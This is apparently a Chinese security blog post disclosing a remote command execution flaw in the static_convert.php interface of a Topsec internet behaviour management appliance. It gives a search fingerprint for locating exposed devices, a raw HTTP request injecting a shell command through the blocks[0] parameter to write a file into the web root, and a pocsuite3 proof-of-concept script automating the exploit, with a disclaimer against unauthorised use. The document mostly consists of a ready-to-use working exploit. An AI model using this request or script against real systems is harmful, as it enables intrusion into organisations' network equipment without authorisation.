文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责
该系统static_convert.php接口处存在RCE漏洞,会导致服务器失陷。
app="天融信-上网行为管理系统"
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'pstvamqlkzrgslfilwvf'%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
然后访问test.txt页面
使用的pocsuite框架
# _*_ coding:utf-8 _*_
# @Time : 2024/1/3
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class trx_topsec_static_convert_rce(POCBase):
pocDesc = '''天融信TOPSEC static_convert 远程命令执行漏洞'''
author = '炼金术师诸葛亮'
createDate = '2024-1-3'
name = '天融信TOPSEC static_convert 远程命令执行漏洞'
def _verify(self):
result = {}
path = """/view/IPV6/naborTable/static_convert.php?blocks[0]=|| echo '123456' >> /var/www/html/test.txt"""
path1= "/test.txt"
check_url = self.url + path1
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36"
}
url = self.url + path
try:
response = requests.get(url, headers=headers)
if response.status_code == 200 and '123456' in response.text:
response1 = requests.get(check_url)
if response1.status_code == 200 and '123456' in response1.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(trx_topsec_static_convert_rce)
脚本利用